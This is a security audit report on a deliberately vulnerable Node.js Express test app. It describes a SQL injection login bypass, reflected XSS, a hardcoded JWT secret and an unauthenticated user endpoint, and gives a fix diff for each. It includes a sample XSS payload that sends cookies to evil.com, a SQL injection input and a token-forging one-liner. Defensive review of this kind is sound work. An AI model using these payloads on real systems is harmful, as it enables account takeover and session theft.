Security Audit Report — vulnerable-test-app

Audit date: 2026-06-09
Scope: `sources/raw/app.js`, `sources/raw/package.json` at commit `6dae19f` — a small Node.js Express API (46 lines) using SQLite and JWT auth.

KPI	Value
Project	vulnerable-test-app
Stack	JavaScript (Node.js), Express ^4.19.2, jsonwebtoken ^9.0.2, sqlite3 ^5.1.7
Commit / Source	`6dae19f` — github.com/sch0P/vulnerable-test-app
Lines audited	46
Audit date	2026-06-09
Findings: Critical	1
Findings: High	3
Findings: Medium	0
Overall risk	**HIGH**

Overall risk: HIGH. One critical-severity SQL injection that lets anyone bypass login entirely, plus three high-severity issues (XSS, hardcoded signing key, unprotected user data endpoint). All four are straightforward to fix and should be addressed before this code goes anywhere near production.

Summary

We audited `app.js` and `package.json` — a 46-line Express API with in-memory SQLite and JWT authentication. The app has four routes: a login endpoint, a search endpoint, a user-profile endpoint, and a health-check listener. We found one critical SQL injection in the login handler, a reflected XSS in the search endpoint, a hardcoded JWT secret, and a user-data endpoint with zero authentication. Every endpoint except the listener exposes a vulnerability. Fix the SQL injection first — it lets an attacker log in as admin without knowing any password — then rotate the JWT secret, add auth middleware to the user endpoint, and escape the search output.

Findings

Critical. SQL injection lets anyone log in as any user

Summary & impact. An attacker can log in as any user — including the admin — without knowing a password. They can also extract the entire user table (emails, passwords, roles) or forge tokens with arbitrary roles. The `POST /login` endpoint is completely unauthenticated, so anyone who can reach the server can exploit it. This is the highest-priority issue in the codebase.

How it's exploited. In `app.js` line 19, the `email` and `password` parameters from the request body are interpolated directly into a SQL string using a template literal:

```
const sql = `SELECT * FROM users WHERE email = '${email}' AND password = '$
{password}'`;
```

An attacker sends `email` as `alice@example.com' --` and any password. The `'` closes the email string, and `--` comments out the rest of the query, including the password check. The query returns a valid user row, and the server issues a signed JWT for that user. With a UNION injection, the attacker can also fabricate a row with `role: admin` and get an admin token.

Fix. Replace the template literal with a parameterized query. The `?` placeholders tell SQLite to treat the input values as data, not executable SQL:

```
--- a/sources/raw/app.js
+++ b/sources/raw/app.js
@@ -16,8 +16,8 @@ app.post('/login', (req, res) => {
   const { email, password } = req.body;
-  const sql = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
-  db.get(sql, (err, row) => {
+  const sql = 'SELECT * FROM users WHERE email = ? AND password = ?';
+  db.get(sql, [email, password], (err, row) => {
     if (err) return res.status(500).send('error');
     if (!row) return res.status(401).send('invalid credentials');
     const token = jwt.sign({ id: row.id, role: row.role }, JWT_SECRET);
```

This is parameterized querying — the standard, non-negotiable pattern for any SQL operation that touches user input. There's no reason to build SQL strings by hand when the `sqlite3` driver supports placeholders natively. Also consider adding rate-limiting on login attempts to slow down brute-force and automated exploitation.

High. Reflected XSS in the search endpoint

Summary & impact. Anyone who clicks a crafted link to `/search?q=<script>...</script>` will have that script execute in their browser in the app's origin context. That means cookie theft, session hijacking, or phishing — an attacker can steal the victim's JWT token and impersonate them. Requires the victim to click a link, but that's a low bar.

How it's exploited. In `app.js` line 30, the `q` query parameter is inserted into the HTML response with zero escaping:

```
res.send(`<html><body><h1>Results for: ${q}</h1><p>No results found.</p></body></html>`);
```

A URL like `http://localhost:3000/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>` renders the script tag as-is, and the browser executes it.

Fix. Escape HTML special characters before inserting user input into the response. The `escape-html` npm package is a lightweight solution:

```
--- a/sources/raw/app.js
+++ b/sources/raw/app.js
@@ -1,3 +1,4 @@
 const express = require('express');
+const escapeHtml = require('escape-html');
 const sqlite3 = require('sqlite3');
 const jwt = require('jsonwebtoken');
@@ -27,7 +28,7 @@ app.post('/login', (req, res) => {
 app.get('/search', (req, res) => {
   const q = req.query.q || '';
-  res.send(`<html><body><h1>Results for: ${q}</h1><p>No results found.</p></body></html>`);
+  res.send(`<html><body><h1>Results for: ${escapeHtml(q)}</h1><p>No results found.</p></body></html>`);
 });
```

Run `npm install escape-html` to add the dependency. You should also set `Content-Type: text/html; charset=utf-8` and add a `Content-Security-Policy` header that restricts script sources — but escaping the output is the essential fix. Never interpolate user input into HTML without escaping, ever.

High. Hardcoded JWT secret in source code

Summary & impact. The JWT signing secret is `"super_secret_key_42"`, hardcoded on line 8 of `app.js`. This repo is public on GitHub, so anyone can read the secret, forge arbitrary tokens, and impersonate any user — including the admin. The entire authentication system is paper-thin as long as the secret lives in the code.

How it's exploited. Line 8 declares the constant; line 23 uses it to sign tokens:

```
const JWT_SECRET = "super_secret_key_42";
// ...
const token = jwt.sign({ id: row.id, role: row.role }, JWT_SECRET);
```

An attacker who's read the source (it's a public repo) can run a one-liner:

```
const token = jwt.sign({ id: 2, role: 'admin' }, 'super_secret_key_42');
```

That token is accepted as valid by any endpoint that verifies it.

Fix. Read the secret from an environment variable so it stays out of version control:

```
--- a/sources/raw/app.js
+++ b/sources/raw/app.js
@@ -5,7 +5,7 @@ const app = express();
 app.use(express.json());

-const JWT_SECRET = "super_secret_key_42";
+const JWT_SECRET = process.env.JWT_SECRET || (() => { throw new
Error('JWT_SECRET not set'); })();

 const db = new sqlite3.Database(':memory:');
```

The fallback throws immediately if the env var isn't set — no silent defaults. Generate a strong secret (at least 256 bits, e.g., `openssl rand -base64 32`) and set it in your deployment environment. Never commit secrets to source control.

High. Unauthenticated user data endpoint (IDOR)

Summary & impact. `GET /user/:id` returns any user's email and role with no authentication at all. An attacker can enumerate all users by hitting `/user/1`, `/user/2`, etc., and learn which accounts are admins. No user data is behind a login wall, and there's no check that the requester owns the requested profile.

How it's exploited. Lines 33-37 have no auth middleware, no JWT check, nothing:

```
app.get('/user/:id', (req, res) => {
  db.get('SELECT id, email, role FROM users WHERE id = ?', [req.params.id],
(err, row) => {
    if (err || !row) return res.status(404).send('not found');
    res.json(row);
  });
});
```

Requesting `GET /user/1` returns `{"id":1,"email":"alice@example.com","role":"user"}` and `GET /user/2` returns `{"id":2,"email":"admin@example.com","role":"admin"}` — no token required.

Fix. Add an authentication middleware that verifies the JWT, then restrict requests so users can only see their own data (admins can see all):

```
--- a/sources/raw/app.js
+++ b/sources/raw/app.js
@@ -8,6 +8,16 @@ app.use(express.json());

 const JWT_SECRET = "super_secret_key_42";

+function authenticate(req, res, next) {
+  const header = req.headers.authorization;
+  if (!header || !header.startsWith('Bearer '))
+    return res.status(401).send('unauthorized');
+  try {
+    req.user = jwt.verify(header.split(' ')[1], JWT_SECRET);
+    next();
+  } catch { res.status(401).send('unauthorized'); }
+}
+
 const db = new sqlite3.Database(':memory:');
 db.serialize(() => {
   db.run("CREATE TABLE users (id INTEGER, email TEXT, password TEXT, role
TEXT)");
@@ -30,10 +40,11 @@ app.get('/search', (req, res) => {
   res.send(`<html><body><h1>Results for: ${q}</h1><p>No results found.</p></
body></html>`);
 });

-app.get('/user/:id', (req, res) => {
+app.get('/user/:id', authenticate, (req, res) => {
   db.get('SELECT id, email, role FROM users WHERE id = ?', [req.params.id],
(err, row) => {
     if (err || !row) return res.status(404).send('not found');
-    res.json(row);
+    if (req.user.id !== parseInt(req.params.id) && req.user.role !== 'admin')
+      return res.status(403).send('forbidden');
+    res.json({ id: row.id, email: row.email, role: row.role });
   });
 });
```

This is standard bearer-token auth with a route-level middleware. The authorization check after the query lets users see their own profile and admins see anyone's. If this endpoint isn't needed for the app's functionality, the simplest fix is to remove it entirely.

Recommendations

1. **Fix the SQL injection first.** It's in the login handler, it's a one-line change to parameterized queries, and it's the highest-impact bug. Until it's fixed, anyone can log in as admin.

2. **Pull the JWT secret into an environment variable and rotate it.** Even after fixing the SQLi, the authentication system is worthless if the signing key is in a public repo. Generate a new secret, set it in your deployment environment, and never hardcode it again.
3. **Add authentication middleware and escape user output.** The `/user/:id` and `/search` endpoints need the same treatment — one needs a JWT check, the other needs HTML escaping. Both are quick fixes that close the remaining high-severity issues.

About this audit

This was an automated-assisted first-pass security review using static analysis and manual verification of the findings. It covers the two in-scope files (`app.js` and `package.json`) and focuses on the most common vulnerability classes — injection, broken access control, and cryptographic failures. It is not a full manual professional audit. A comprehensive audit would include dynamic testing, dependency scanning, threat modeling, and a deeper review of session management and business logic. If this application processes user data or handles authentication in production, a full professional audit is warranted before launch.